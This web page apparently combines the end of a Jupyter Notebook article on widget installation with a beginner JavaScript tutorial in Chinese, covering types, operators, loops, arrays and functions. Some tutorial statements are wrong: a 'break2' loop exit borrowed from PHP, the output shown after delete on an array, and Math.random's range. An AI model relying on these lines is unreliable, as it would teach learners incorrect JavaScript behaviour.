通过直接调整模板文件加入的界面定制按钮 7.4. 小部件 小部件(Widgets)是Jupyter交互式可视化数据呈现部件。Jupyter Widgets同时包含了访问后端数据和前端呈现的能力,可以用于在Jupyter Notebook上生动地展示服务端的数据和数据变化。 在v6.5.2稳定版本上,我们目前只能使用系统提供的小部件,还不能开发自定义小部件。在Jupyter notebook7.x版本中,开始提供了小部件的自定义开发能力。 # 确保安装了ipywidgets和traitlets pip install --upgrade traitlets pip install --upgrade ipywidgets # 安装和启用小部件 jupyter nbextension install --py widgetsnbextension jupyter nbextension enable --py widgetsnbextension 在安装和启用了小部件后,我们可以在notebook中直接使用系统提供的小部件。 图12 在Notebook中使用小部件 完整的小部件列表和使用方式可以参考: https://ipywidgets.readthedocs.io/en/7.x/examples/Widget List.html 8. 总结 Jupyter Notebook以其丰富的功能,简单易用,强大的交互能力和扩展能力,成为数据科学和机器学习开发中的神器。目前,Jupyter Notebook支持超过40种编程语言,被应用于Google Colab, Kubeflow, 华为云,kaggle等多个知名项目中,大量机器学习和数据科学的论文中使用到了Jupyter。Jupyter在数据可视化,提升工作效率,改善用户体验和丰富文档功能方面显现了巨大的威力。除此之外,Jupyter还提供的灵活强大的扩展能力,更是为Jupyter的深层次使用提供了更广阔的想象空间。如果你还没有开始接触Jupyter,那么就从现在开始吧。

优秀的个人博客,低调大师

javascript 0基础入门

JavaScript基础 作者: 写代码的小鱼儿 Email:282505458@qq.com QQ:282505458 微信:15311464808 说明:本文档用于学习交流,可传播可分享,如有错误,请联系小鱼儿,感谢矫正与探讨 javascript简介 http://www.ecma-international.org/memento/TC39.htm 什么是JavaScript js 是一种 基于对象 的 弱类型 脚本语言; js 是一种 由浏览器解析的 解释型语言 js 区分大小写 轻量级解释型的程序设计语言 语言特点:动态,头等函数 执行环境:在宿主环境下执行(host environment),浏览器是最常见的 Javascript 宿主环境 作用 JavaScript 被用来改进设计、验证表单、检测浏览器、创建cookies,等等等等。 增加浏览器与用户的互动。 介绍 它最初由Netscape的Brendan Eich设计。JavaScript是甲骨文公司的注册商标。Ecma国际以JavaScript 为基础制定了ECMAScript标准。JavaScript也可以用于其他场合,如服务器端编程。完整的JavaScript 实现包含三个部分:ECMAScript,文档对象模型,浏览器对象模型。 Netscape在初将其脚本语言命名为LiveScript,后来Netscape在与Sun合作之后将其改名为 JavaScript。 JavaScript初受Java启发而开始设计的,目的之一就是“看上去像Java”,因此语法上有类 似之处,一些名称和命名规范也借自Java。但JavaScript的主要设计原则源自Self和Scheme。 JavaScript与Java名称上的近似,是当时Netscape为了营销考虑与Sun微系统达成协议的结果。为了取 得技术优势,微软推出了JScript来迎战JavaScript的脚本语言。为了互用性,Ecma国际(前身为欧洲计 算机制造商协会)创建了ECMA-262标准(ECMAScript)。两者都属于ECMAScript的实现。尽管 JavaScript作为给非程序人员的脚本语言,而非作为给程序人员的脚本语言来推广和宣传,但是 JavaScript具有非常丰富的特性。 发展初期,JavaScript的标准并未确定,同期有Netscape的JavaScript,微软的JScript和CEnvi的 ScriptEase三足鼎立。1997年,在ECMA(欧洲计算机制造商协会)的协调下,由Netscape、Sun、微 软、Borland组成的工作组确定统一标准:ECMA-262。 意义 JavaScript 发展到现在几乎无所不能。 网页特效 服务端开发(Node.js) 命令行工具(Node.js) 桌面程序(Electron) App(Cordova) 控制硬件-物联网(Ruff) 游戏开发(cocos2d-js) 什么是JavaScript JavaScript 被设计用来向 HTML 页面添加交互行为。 JavaScript 是一种直译式脚本语言(脚本语言是一种轻量级的编程语言),由浏览器直接解析。 JavaScript 由数行可执行计算机代码组成。 JavaScript 通常被直接嵌入 HTML 页面。 JavaScript 是一种解释性语言(就是说,代码执行不进行预编译)。 JavaScript是一种弱类型语言 JavaScript 区分大小写 Java 和 JavaScript 是相同的吗? 不同! 在概念和设计方面,Java 和 JavaScript 是两种完全不同的语言。 Java(由太阳微系统公司开发)很强大,同时也是更复杂的编程语言,就像同级别的 C 和 C++。 组成 ECMAScript – 标准,基本语法。JavaScript核心 ECMA 欧洲计算机制造联合会 网景:JavaScript 微软:JScript 定义了JavaScript的语法规范 JavaScript的核心,描述了语言的基本语法和数据类型,ECMAScript是一套标准,定义了一种语言的标 准与具体实现无关。 BOM – 浏览器对象模型 描述了与浏览器进行交互的方法和接口。,比如:弹出框、控制浏览器跳转、获取分辨率等 DOM – 文档对象模型 描述了处理网页内容的方法和接口 JavaScript 书写位置 (1)写在HTML标签中 < input type="button" value="提交" οnclick="alert('hello world')"> (2)写在script标签中 <head> <script> alert('Hello World!'); </script> </head> (3)写在外部js文件中,然后在页面使用标签引入 ​ 注意:引用外部 js文件的 script标签中不可以写 JavaScript代码 ​ 一般放在html文档的最后,body标签之前,这样能使浏览器更快的加载。 注意事项: script标签在页面中可以出现多对 script标签一般是放在body的标签的后,有的时候会在head标签中 在一对script的标签中有错误的js代码,那么该错误的代码后面的js代码不会执行 如果第一对的script标签中有错误,不会影响后面的script标签中的js代码执行 如果script标签是引入外部js文件的作用,那么这对标签中不要写任何的js代码,如果要写,重新 写一对script标签,里面写代码 script的标签中可以写属性, type="text/javascript"是标准写法或者写 language="JavaScript"都可以,也有可能出现这两个属性同时写的情况,但是,目前在我们的 html页面中,type和language都可以省略,原因:html是遵循h5的标准 在js中,回车换行就代表一个语句,后边的分号可以省略不写。但是在开发过程中,我们通常会将js代码压缩,压缩的时候会去掉回车,因此为了避免合并代码出错误,我们不会省略后面的分号。 (4)a 标签中使用(了解即可,不常用) < a href = "javascript:alert('aaa');" ></a> 变量声明 什么是变量 变量是计算机内存中存储数据的标识符,根据变量名称可以获取到内存中存储的数据 。 作用:操作数据 存储数据、 获取数据 声明变量 var 声明变量 var age;//声明变量 age = 1;//变量赋值 同时声明多个变量 var age, name, sex; age = 10; name = 'zs'; 同时声明多个变量并赋值 var age = 10, name = 'zs'; 变量的命名规范 规则 - 必须遵守的,不遵守会报错 由字母、数字、下划线、$符号组成, 不能以数字开头 不能是关键字和保留字,例如:for、while。 区分大小写 规范 - 建议遵守的,不遵守不会报错 变量名必须有意义 遵守驼峰命名法。 首字母小写,后面单词的首字母需要大写。例如:userName、 userPassword js声明变量都用var js中每一行代码结束加分号 面试题 交换两个变量的值: //方案一 利用临时变量 var a = 5; var b = 10; var t; t = a;//将a的值赋给临时变量t a = b;//将a 的值赋给b; b = t;//将t的值赋给b console.log(a); console.log(b); //方案二 让其中一个值变成与他们两个都有关系的值 var num1 = 1; var num2 = 3; num1 += num2;//num1赋值为两个数的和 num2 = num1 - num2;//和减去sum2得到sum1的值 num1 -= num2;//再把和减去sum2的值赋给sum1 console.log(num1); console.log(num2); //方案三 利用数组 var a1 = 2; var a2 = 4; a1 = [a1,a2];//将a1,a2的值作为数组的值赋给a1 a2 = a1[0]; a1 = a1[1]; console.log(a1); console.log(a2); //方案四 利用对象,原理同上 var o1 = 4; var o2 = 6; o1 = {o1:o2, o2:o1}; o2 = o1.o1; o1 = o1.o2; console.log(o1); console.log(o2); //方案五 原理还是数组 var aa = 40; var bb = 20; aa = [bb,bb = aa][0]; console.log(aa); console.log(bb); 输出方式 alert(‘弹框内容’); console.log(‘输出内容’); 控制台输出,F12 调出浏览器调试 document.write(‘内容’); 页面输出 prompt() 可以提交数据的弹框 注释 注释:解释代码含义 作用:解释说明,方便维护,利于团队合作 js注释 单行注释 : // 多行注释 : /* ... */ 一般用在代码段 html注释 css注释 /* … */ php注释 单行注释 // ​ 单行注释 # ​ 多行注释 /* … */ 注意:代码中要多加注释,否则不规范 注释的代码不会执行 数据类型 在编程语言中,能够表示并操作的值的类型叫做数据类型。 强类型语言:必须明确声明变量的数据类型的语言; 弱类型语言:不必须明确类型声明的语言。如js, 按简单复杂分 基本类型:number 、string 、boolean、 undefined 、null 复杂类型:object 、array 、date 、regexp 、function 、基本包装类型、单体内置对象(global、math) js 的数据类型有:六种 number、string、boolean、undefined、null、object Number类型 直接量就是可以在程序中直接使用的数据值。 数值字面量 数值的固定值的表示法 110 1024 60.5 进制 十进制 var num = 9; 进行算数计算时,八进制和十六进制表示的数值终都将被转换成十进制数值。 十六进制 var num = 0xA; 数字序列范围:09以及AF 八进制 var num1 = 07; // 对应十进制的7 var num2 = 019; // 对应十进制的19 var num3 = 08; // 对应十进制的8 数字序列范围:0~7 如果字面值中的数值超出了范围,那么前导零将被忽略,后面的数值将被当作十进制数值解析 小数 数值范围 小值:Number.MIN_VALUE,这个值为: 5e-324 大值:Number.MAX_VALUE,这个值为: 1.7976931348623157e+308 无穷大:Infinity 无穷小:-Infinity var n = 5e-324; // 科学计数法 5乘以10的-324次方 //不要用小数去验证小数 var result = 0.1 + 0.2; // 结果不是 0.3,而是:0.30000000000000004 NaN not a number 的缩写,undefined 与数值运算得到的结果 它是一个特殊的值,不与任何数相等,包括它自己 var a; var b = 1; var c = a + b; console.log(NaN == NaN); console.log(isNaN(c)); 被0整除不会报错,只是简单的返回无穷大(infinity)或负无穷大(-infinity)。 0除以0无意义,结果为NAN。 console.log(Number.MAX_VALUE);//1.7976931348623157e+308 console.log(Number.MIN_VALUE);//5e-324 console.log(2 / 0);//Infinity 无穷大 isNaN 常用来判断变量是否是数值类型,true 表示不是数值 false表示是数值 var dd = 1; console.log(isNaN(dd)); string 字符串类型 由单引号或双引号包围 获取字符串的长度 变量.length var str = 'absfgfeh'; console.log(str.length); 转义字符/字符直面量 字面量 含义 \n 换行 \t 制表符,横向跳格 \b 空格 \r 回车 \f 换页符 \\ 反斜杠 ’ 单引号 " 双引号 \0nnn 八进制代码 nnn 表示的字符(n 是 0 到 7 中的一个八进制数字) \xnn 十六进制代码 nn 表示的字符(n 是 0 到 F 中的一个十六进制数字) \unnnn 十六进制代码 nnnn 表示的 Unicode 字符(n 是 0 到 F 中的一个十六进制数字) console.log('假期回来\\好开心啊'); console.log('假期回来"好开心"啊'); console.log("假期回来'好开心'啊"); console.log("假期回来'好\n开心'啊"); 字符串拼接 + console.log(11 + 11); console.log('hello' + ' world'); console.log('100' + '100'); console.log('11' + 11); console.log('male:' + true); 两边只要有一个是字符串,那么+就是字符串拼接功能 两边如果都是数字,那么就是算术功能。 Boolean类型 Boolean字面量: true和false,区分大小写 计算机内部存储:true为1,false为0 以下7种情况值可以转为false ,其他情况都会转成true。 数值0 空字符串 null undefined NaN false null null 用于对象 , 对象只有被定义才有可能为 null,否则为 undefined。 2.空类型 ,打印数据类型为对象 3.值只有一个:null 4.一个对象指向为空了,此时可以赋值为null 5.null只能手动赋值 var nul = null; console.log(nul); console.log(typeof nul); undefined undefined表示一个声明了没有赋值的变量 函数如果没有明确返回值,结果也是undefined 如果一个变量结果是undefined,和数字进行运算结果为NaN,不是一个数字,也没有意义 null 与 undefined 的区别: 共同点: 都表示值得空缺; 不包含任何属性和方法; 都只有自身一个值; 布尔类型都为假; 不同: undefined:系统级的、出乎意料的类似错误的值得空缺;预定义的全局变量 null:表示程序级的,正常的或意料之中的值得空缺。可作为参数传入函数 两者往往可以互换。“= =”认为两者是相等的,“===”认为是不等的,所以一般用严格相等来区别他们。 对象 object 与数组类似,同样是使用一个名字表示一组值。对象的每个值都是对象的一个属性。 对象可以看做是属性的无序集合,每个属性都是一个名/值对。 使用点号来获取属性。 语法结构: {propertyname:value,propertyname:value} var lennon = {name:John,year:1940,living:false} var obj = new Object; console.log(obj); console.log(typeof obj); 用法: create(创建)、set(设置)、query(查找)、delete(删除)、test(检测)和枚举属性。 获取变量的类型 typeof 两种使用方式: typeof 变量名 typeof(变量名) var age = 18; console.log(typeof age); // 'number' console.log(typeof(age)); instanceof 检测对象是否是某个函数的实例对象 object.prototype.toString.call() 检测对象的原型对象 数据类型转换 转换成数值类型 类型转换分为 显示转换:如转换函数Number() 、parseInt() 等等 隐式转换:指在计算或判断过程中自动转换的方式。如:“10” - 4 = 6 Number() 转换成数值类型,严格转换。有一个非数字符都不可转换 Number()可以把任意值转换成数值,如果要转换的字符串中有一个不是数值的字符,返回NaN console.log(Number(10));//10 console.log(Number(''));//0 console.log(Number(null));//0 console.log(Number(10.4));//10.4 console.log(Number('a10'));//NaN console.log(Number(3e5));//300000 console.log(Number('abd'));//NaN console.log(Number('123bd'));//NaN console.log(Number(true));//1 console.log(Number(false));//0 console.log(Number(NaN));//NaN console.log(Number(undefined));//NaN parseInt() 转换成整数。 只取整数部分,忽略小数部分(从第一个字符开始查找,找到非数字截止,并返回找到的数字) console.log(parseInt(10));//10 console.log(parseInt(10.4));//10 console.log(parseInt('a10'));//NaN,如果第一个字符不是数字或者符号就返回 NaN console.log(parseInt(3e5));//300000 console.log(parseInt('abd'));//NaN console.log(parseInt('123bd'));//123,如果第一个字符是数字会解析,直到遇到非数字结束 console.log(parseInt(NaN));//NaN console.log(parseInt(undefined));//NaN parseFloat() 把字符串转换成浮点数,即小数。 console.log(parseFloat(10));//10 console.log(parseFloat(10.4));//10.4 console.log(parseFloat('a10'));//NaN,如果第一个字符不是数字或者符号就返回 NaN console.log(parseFloat('0.1.0'));//0.1,会解析第一个. 遇到第二个.或者非数字结束 console.log(parseFloat(3e5));//300000 console.log(parseFloat('abd'));//NaN console.log(parseFloat('123bd'));//123,如果第一个字符是数字会解析,直到遇到非数字结束 console.log(parseFloat(NaN));//NaN console.log(parseFloat(undefined));//NaN parseFloat()和parseInt非常相似,不同之处在于 parseFloat会解析第一个. 遇到第二个.或者非数字结束 如果解析的内容里只有整数,解析成整数 + - 0运算 var str = '500'; console.log(+str); // 500 取正 console.log(-str); // -500 取负 console.log(str - 0);//500 转换成字符串类型 String():可以转所有字符 .toString():不能转无意义的字符,如null、undefined var num = 5; console.log(num.toString());//5 .toString 语法 console.log(*String*(num));//5 String 语法 拼接字符串方式 num + “”,当 + 两边一个操作符是字符串类型,一个操作符是其它类型的时候,会先把其它类型 转换成字符串再进行字符串拼接,返回字符串 转换成布尔类型 Boolean() 以下7种情况值可以转为false ,其他情况都会转成true。 整数0 浮点数0 空字符串 null undefined NaN false 注意与PHP区分:在PHP中字符串 ‘0’ ,空数组也被认为是false 运算符/操作符 算数运算符 + - * / % js支持的更复杂的运算: Math.pow(2, 53 ) // 2的53次幂 Math.round(.6) // 1; 四舍五入 Math.ceil(.6) // 1;向上求整 Math.floor(.6) // 0;向下求整 Math.abs(-5) // 5; 求绝对值 Math.max(x, y, z) // 返回最大值 Math.min(x, y, z) // 返回最小值 Math.random() // 生成一个大于等于0小于等于1的伪随机数? Math.PI // π:圆周率 Math.E // e:自然对数的底数 Math.sqrt(3) // 3的平方根 Math.pow(3 , 1/3) //3的立方根 Math.sin(0) // 三角函数,还有Math.cos()、Math.atan()等 Math.log(10) // 10的自然对数 Math.log(100)/Math.LN10 // 以10为底100的对数。 Math.log(512)/Math.LN2 // 以2为底512的对数 Math.exp(3) // e的三次幂 比较运算符/关系运算符 返回值为布尔值。 < > >= <= == != === !== //==与===的区别:==只进行值得比较,===类型和值同时相等,则相等 var result = '55' == 55; // true var result = '55' === 55; // false 值相等,类型不相等 var result = 55 === 55; // true 赋值运算符 又叫复合运算符。 = += -= *= /= %= var num = 0; num += 5; //相当于 num = num + 5; 逻辑运算符 返回值为布尔值。 && 逻辑与 两个操作数同时为true,结果为true,否则都是false || 逻辑或 两个操作数有一个为true,结果为true,否则为false ! 逻辑非 取反 从右向左执行 一元运算符 一元运算符:只有一个操作数的运算符。 ++ -- 主要是对其他操作数的影响不同,对其自身影响永远都是加一或减一 前置++ 先自增,再赋值 var num1 = 5; ++ num1; var num2 = 6; console.log(num1 + ++ num2);//13 后置++ 先赋值,再自增 var num1 = 5; num1 ++; var num2 = 6; console.log(num1 + num2 ++);//6+6=12 三元运算符 表达式1 ? 表达式2 : 表达式3 用法同 if 的双向条件语句,以下if条件语句: var age = 18; ​ if (age < 18) { ​ document.write('未成年'); ​ } else { ​ document.write('成年'); ​ } 可以写成: var age = 18; var res = age>= 18 ? '成年' : '未成年'; document.write(res); 运算符优先级 优先级从高到低 (1)括号 () 优先级最高; (2)一元运算符 ++ – ! (3)算数运算符 ,同数学运算。 先乘除求模(* / %),再加减(+ -); (4)关系运算符 > >= < <= (5)相等运算符 == != = == !== (6)逻辑运算符 先 && 后 || (7)赋值运算符 // 练习1: 4 >= 6 || '人' != '猫' && !(12 * 2 == 144) && true // true // 练习2: var num = 10; 5 == num / 2 && (2 + 2 * num).toString() === '22'//true 流程控制 流程控制的三种基本结构 顺序结构:从上到下,从左到右,从右向左 分支结构:单分支,双分支,多分支 循环结构:for循环,while循环,do…while循环 顺序结构 程序默认就是由上到下顺序执行的 。 分支结构 if语句 语法结构: //单分支结构 if (/* 条件表达式 */) { // 执行语句 } //双分支结构 与三元运算符等价 1 ?2 : 3; if (/* 条件表达式 */){ // 成立执行语句 } else { // 否则执行语句 } //多分支结构 if (/* 条件1 */){ // 成立执行语句 } else if (/* 条件2 */){ // 成立执行语句 } else if (/* 条件3 */){ // 成立执行语句 } else { // 后默认执行语句 } 注意: 条件必须放在if后的圆括号内; 小括号中的条件语句结果只能为布尔值,即true / false; 花括号内的语句必须在满足条件时执行。 最多只有一个区间被执行。 如果if语句中的花括号部分只包含一条语句,那么可以省略花括号,而且这条语句的全部内容可以写在一行。 switch语句 语法结构:严格模式 switch (expression) { case 常量1: 语句; break; case 常量2: 语句; break; case 常量3: 语句; break; … case 常量n: 语句; break; default: 语句; break; } 注意: break可以省略,如果省略,代码会继续执行下一个case switch 语句; 在比较值时使用的是全等操作符, 因此不会发生类型转换(例如,字符串’10’ 不等于数值 10); 声明的变量类型必须与case后的值的类型相同,否则不会执行。 全等操作,类型转换案例: //使用switch语句将输入的1—12值转换成对应的“本月有多少天” //prompt 为弹框,可以传递数据值 //prompt的结果为字符串类型,用switch时需要将其转为数值类型 var day = parseInt(prompt('请输入一个月份')); switch (day) { case 1: case 3: case 5: case 7: case 8: case 10: case 12: document.write('这个月有31天'); break; case 2: document.write('这个月有28天'); break; case 4: case 6: case 9: case 11: document.write('这个月有30天'); break; } 当输出的值相同时,可以将多个case条件合并,结构如下: var xq = 7; switch (xq) { case 1: case 2: case 3: case 4: case 5: console.log('上班'); break; case 6: case 7: console.log('加班'); break; } 循环结构 工作原理:只要给定条件能得到满足,包含在循环语句里的代码就将重复地执行下去,一旦条件结果为false,循环即结束。 在javascript中,循环语句有三种,while、do…while、for循环 循环可以嵌套执行,最多三层嵌套,过多不利于理解。嵌套结构又称巢状结构 while循环 语法结构: // 当循环条件为true时,执行循环体, // 当循环条件为false时,结束循环。 初始值; while (循环条件) { //循环体 //改变循环条件 } 案例: // 计算1-100之间所有数的和 // 初始化变量 var i = 1; var sum = 0; // 判断条件 while (i <= 100) { // 循环体 sum += i; // 自增 i++; } console.log(sum); do…while循环 do…while循环和while循环非常像,二者经常可以相互替代,但是do…while的特点是不管条件成 不成立,都会执行一次。 语法结构: do { ​ // 循环体; } while (循环条件); 案例: //输出1到100值间的值 var i = 1,sum = 0; do { sum += i; //循环体 i++;//自增 } while (i <= 100);//循环条件 for循环 while和do…while一般用来解决无法确认次数的循环。 for循环 计数型循环 又称指定次数循环,for循环一般在循环次数确定的时候比较方便 语法结构: // for循环的表达式之间用的是;号分隔的 for (初始化表达式1; 判断表达式2; 自增表达式3) { // 循环体4 } 执行顺序:1243 ---- 243 -----243(直到循环条件变成false) 初始化表达式 判断表达式 自增表达式 循环体 案例: //输出1到10值间的数 for (var i = 1; i <= 10; i++) { document.write(i + ' '); } for循环的三个条件都可以提出来,通过if条件实现,注意需要有break跳出循环,否则会形成死循环。 for结构变形案例: var i = 1; for (;;) { if (i <= 10) { document.write(i + ' '); i++; } else { break; } } 练习: //打印正方形 var start = ''; for (var i = 0; i < 10; i++) { for (var j = 0; j < 10; j++) { start += '* '; } start += '\n'; } console.log(start); //打印直角三角形 var start = ''; for (var i = 0; i < 10; i++) { for (var j = i; j < 10; j++) { start += '* '; } start += '\n'; } console.log(start); //打印9*9乘法表 var str = ''; for (var i = 1; i <= 9; i++) { for (var j = i; j <=9; j++) { str += i + ' * ' + j + ' = ' + i * j + '\t'; } str += '\n'; } console.log(str); continue和break continue:跳出当前循环,继续下一次循环(跳到 j++ 的地方) break:跳出整个循环,即循环结束。开始执行循环后的内容。break2,退出2层循环。默认是break1,(只是 1 省略不写)即跳出1层循环。 练习: //输出 1 到 10 以内不包含 3 和 5 的数 for (var i = 1; i <= 10; i++) { ​ if (i == 3 || i == 5) { ​ //continue; ​ break; ​ } else { ​ document.write(i + ' '); ​ } ​} //求整数1~100的累加值,但要求碰到个位为3的数则停止累加 for (var i = 1,sum = 0; i <= 100; i++) { ​ if (i % 10 == 3) { ​ break; ​ } else { ​ sum += i; ​ } ​} ​document.write('1~100内碰到个位为3的数则停止累加值的和为:'+sum); //求整数1~100的累加值,但要求跳过所有个位为3的数 //sum 必须初始化为0,否则结果为未定义与数值相加,结果为NaN for (var i = 1,sum = 0; i <= 100; i++) { ​ if (i % 10 == 3) { ​ continue; ​ } else { ​ sum += i; ​ } ​} ​document.write('1~100内跳过个位为3的值的和为:'+ sum); 数组 数组的定义 之前学习的数据类型,只能存储一个值(比如:Number/String。我们想存储班级所有学生的成绩,此时 该如何存储? 此时就需要用到数组了。 定义 数组是值的有序集合,每个值叫做一个元素,而每个元素在数组中有一个位置,以数字表示,称为索引。 可以在数组中存放任意数据,并且数据的长度可以动态调整,根据需要它们会增长或缩减,创建数组时不需声明固定大小。 注意:数组元素的索引不一定要连续的,它们之间可以有空缺; 数组的数据类型为对象; 每个数组都有一个length属性。 语法结构: 通过构造函数创建数组: 有三种方式调用构造函数 a:调用时没有参数 该方法创建一个没有任何元素的空数组,等同于数组直接量[ ]。 var 数组名 = new Array(); b:调用时有一个数值参数,它指定长度。 var a = new Array(10);//创建指定长度为10的数组,每个数据是undefined 该方式创建指定长度的数组。当预先知道所需元素个数时,这种方式可以用来预分配一个数组空间。 注意:数组中没有存储值,甚至数组的索引属性‘0’,‘1’等还未定义。 c:显示指定多个数组元素,元素可为任意类型。 //多个值 这些值就代表数组中的元素 var arr3=new Array(10,20,1000,40,50,'test'); 通过数组字面量(直接量)创建数组 // 创建一个空数组 var arr1 = []; // 创建一个包含3个数值的数组,多个数组项以逗号隔开 var arr2 = [1, 3, 4]; // 创建一个包含3个不同类型的元素的数组 var arr3 = ['a', 1.1, true]; // 可以通过数组的length属性获取数组的长度 console.log(arr3.length); // 可以设置length属性改变数组中元素的个数 arr3.length = 0; 如果省略数组直接量中的某个值,省略的元素将被赋予undefined值。 var count = [1, ' ' , 3];//数组有三个值,中间那个元素的值为undefined。 数组直接量的语法允许有可选的结尾的逗号,故[, ,]只有两个元素而非三个元素。 var count = [ , , ];//数组有两个元素,值都为undefined。 注意与 PHP 的区分: php中有三种构建方法,除上述两种外还有一种 $var[] = ‘值’; 检测一个对象是数组 instanceOf Array.isArray() HTML5中提供的方法,有兼容性问题 var arr1 = [1,3,4]; console.log(arr1 instanceof Array);//true console.log(Array.isArray(arr1));//true toString()/valueOf() toString():把数组转换成字符串,并返回结果 语法: arrayObject.toString() 返回值 arrayObject 的字符串表示。返回值与没有参数的 join() 方法返回的字符串相同。 描述 数组中元素用逗号分隔。 var arr1 = [1,3,4]; console.log(arr1.toString());// '1,3,4' valueOf():返回数组对象本身 语法: arrayObject.valueOf() 描述 valueOf() 方法返回 Array 对象的原始值。 该原始值由 Array 对象派生的所有对象继承。 valueOf() 方法通常由 JavaScript 在后台自动调用,并不显式地出现在代码中。 var arr1 = [1,3,4]; console.log(arr1.valueOf());//(3) [1, 3, 4] 获取数组元素 (1)数组的取值 取值时,如果下标大于数组长度,则返回undefined。 // 格式:数组名[下标] 下标又称索引 // 功能:获取数组对应下标的那个值,如果下标不存在,则返回undefined。 var arr = ['red', 'green', 'blue']; arr[0]; // red arr[2]; // blue arr[3]; // 这个数组的最大下标为2,3>2,因此返回undefined (2)遍历数组 遍历:遍及所有,对数组的每一个元素都访问一次就叫遍历。 数组遍历的基本语法: 语法结构: for(var i = 0; i < arr.length; i++) { // 数组遍历的固定结构 } 数组中新增元素 数组的赋值: // 格式:数组名[下标/索引] = 值; // 如果下标有对应的值,会把原来的值覆盖,如果下标不存在,会给数组新增一个元素。 var arr = ["red", "green", "blue"]; arr[0] = "yellow"; // 把red替换成了yellow arr[3] = "pink";// 给数组新增加了一个pink的值 数组的赋值,必须有下标才能赋值,否则会报语法错误。如果是给没有下标的空数组赋值,可以用arr.length来表示下标。 //要求将数组中的0项去掉,将不为0的值存入一个新的数组,生成新的数组 var arr3 = [2,4,0,49,30,22,0,3]; var arr4 = []; for (var i = 0; i < arr3.length; i++) { //如果元素不为0 则存入到新数组中 if (arr3[i] != 0){ //数组赋值arr[] = 值;会报语法错误,因此赋值时不能省略下标的值。 //对于没有下标的数组,js中通常用arr.length来代表下标 arr4[arr4.length] = arr3[i]; } } console.log(arr4); console.log(typeof arr4);//object 删除数组元素 可以像删除对象属性一样使用delete运算符来删除数组元素: var arr = [1,2,3]; delete arr[1]; console.log(arr);//[1,3] console.log(arr.length);//3 delete不会改变数组长度 console.log(1 in arr);//false 1指的是索引 注意:对一个数组元素使用delete不会修改数组的length属性,也不会将元素从高索引处移下来填充已删除属性留下的空白。如果从数组中删除一个元素,它就变成稀疏数组。 冒泡算法 相邻两数比较,顶出最大的那个。 例如 :var arr = [50, 40, 30 ,20, 10]; [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Enl2dq8w-1574402375858)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1570679410730.png)] var arr = [10, 30, 40, 60, 50, 20]; //i 为比较的轮数 最大值为 length-1 j 为比较的次数 最大值为 length-1-i for (var i=0; i < arr.length-1; i++) { for (var j=0; j < arr.length-1-i; j++) { if (arr[j] > arr[j+1]) { arr[j] = [arr[j+1], arr[j+1]=arr[j]][0]; } } } console.log(arr); 数组中常用函数 数组函数 解释说明 参数 返回值 栈操作 array.pop() 删除并返回数组的最后一个元素。改变数组长度 数组名 删除的元素 array.push() 向数组的末尾添加一个或多个元素,并返回新的长度。 要添加到数组的元素 返回新数组长度 array.shift() 把数组的第一个元素从其中删除,并返回第一个元素的值。 删除的元素 array.unshift() 向数组的开头添加一个或更多元素,并返回新的长度。 要添加到数组的元素 返回新数组长度 操作方法 array.concat() 连接两个或多个数组。不改变原数组 要连接的数组 返回被连接数组的副本 array.join() 数组中的所有元素按指定字符拼接成一个字符串。toString()与join同 可选,要指定的分隔符 返回新字符串 array.slice() 从已有的数组中返回选定的元素。不修改原数组 选取数组元素的起始位置,负数代表从后向前选,不包括end元素 返回选定的新数组 array.splice() 用于插入、删除或替换数组的元素。会修改数组 开始位置,删除长度[,要添加的元素] 返回新数组 颠倒数组元素 array.reverse() 颠倒数组元素的顺序。会改变原数组 返回新数组 排序方法 array.sort() 用于对数组的元素进行排序 [规定排序方式的函数] 返回新数组 位置方法 array.indexOf() 返回某个指定的字符串值在字符串中首次出现的位置。可用来判断数组中是否包含某个值,与in_array类似 规定需检索的字符串值[检索的位置] 返回下标数,没有返回 -1 array**.lastIndexOf()** 返回一个指定的字符串值最后出现的位置,在一个字符串中的指定位置从后向前搜索。 规定需检索的字符串值[检索的位置] 返回下标 迭代方法 some() 对数组中每一项运行给定函数, 回调函数 如果该函数对任一项返回true,则返回true。 every() 检测数组中的元素是否全部符合指定条件 回调函数 全部符合返回true 有一个不符合则返回false filter() 检测数组元素是否符合条件,并返回符合条件的元素的数组 回调函数 符合条件的元素的数组 forEach() 循环遍历数组 回调函数 map() 通过回调函数把每个元素的结果 保存到一个新数组中 进行返回 回调函数 返回执行回调函数的结果 清空数组 // 方式1 推荐 arr = []; // 方式2 arr.length = 0; // 方式3 arr.splice(0, arr.length); 练习 //求数组中的所有数的和 var arr = [10, 30, 40, 60, 50, 20]; for (var i=0,len=arr.length,sum=0; i<len; i++) { sum += arr[i]; } console.log(sum); //求数组中所有数的平均值 var len=arr.length;//为提高代码性能,避免每次循环都计算length,可以将length值赋给一个变量 for (var i=0,sum=0; i<len; i++) { sum += arr[i]; } var avg=sum/len; console.log(avg); //把数组中每个元素用|拼接到一起产生一个字符串并输出 var arr1 = [1,3,5,'aa']; //遍历出数组中的值并将值赋给一个空字符串,为避免字符串结果覆盖可以用 += 拼接结果 for (var i = 0,str = ''; i < arr1.length-1; i++) { str += arr1[i] + '|'; } //以上拼接结果会在字符串最后多出一个 | ,去掉最后的 | 可以在遍历时不遍历最后一个,而在打印结果时手动添加 console.log(str + arr1[arr1.length-1]); //要删除数组中元素为0的删除 var arr2 = [3,5,6,0,9,4,0,10,0]; //定义一个新数组 空的 var arr3 = []; for (var i = 0; i < arr2.length; i++) { //如果元素不为0 则存入到新数组中 if (arr2[i] != 0){ arr3[arr3.length] = arr2[i]; } } console.log(arr3); 函数 函数的定义 把一段相对独立的具有特定功能的代码块封装起来,形成一个独立实体,就是函数,起个名字(函数 名),在后续开发中可以反复调用。 函数的作用就是封装一段代码,可以重复使用 。 语法结构: (1)声明函数 function 函数名(){ // 函数体 } (2)函数表达式 var fn = function() { // 函数体 } 特点: 函数声明的时候,函数体并不会执行,只有函数被调用的时候才会执行。 注意: 因为在js中回车换行可以表示语句的结束,所以书写时不要将函数的花括号换行到下一行,这点要与 php 相区分 规范 命名规范 遵循变量的命名规范 使用小驼峰命名法 命名一般采用 ‘‘动词+名字’’ 的形式,如 doSpeak 代码规范 1.命名规范 2.变量规范 var name = 'zs'; 3.注释规范 // 这里是注释 4.空格规范 5.换行规范 var arr = [1, 2, 3, 4]; if (a > b) { } for(var i = 0; i < 10; i++) { } function fn() { } 函数的调用 调用函数的语法结构: 函数名(); 特点: 函数体只有在调用的时候才会执行,调用需要 函数名() 进行调用。 可以调用多次(重复使用) 案例: // 声明函数 function sayHello() { console.log("你好啊!"); } // 调用函数 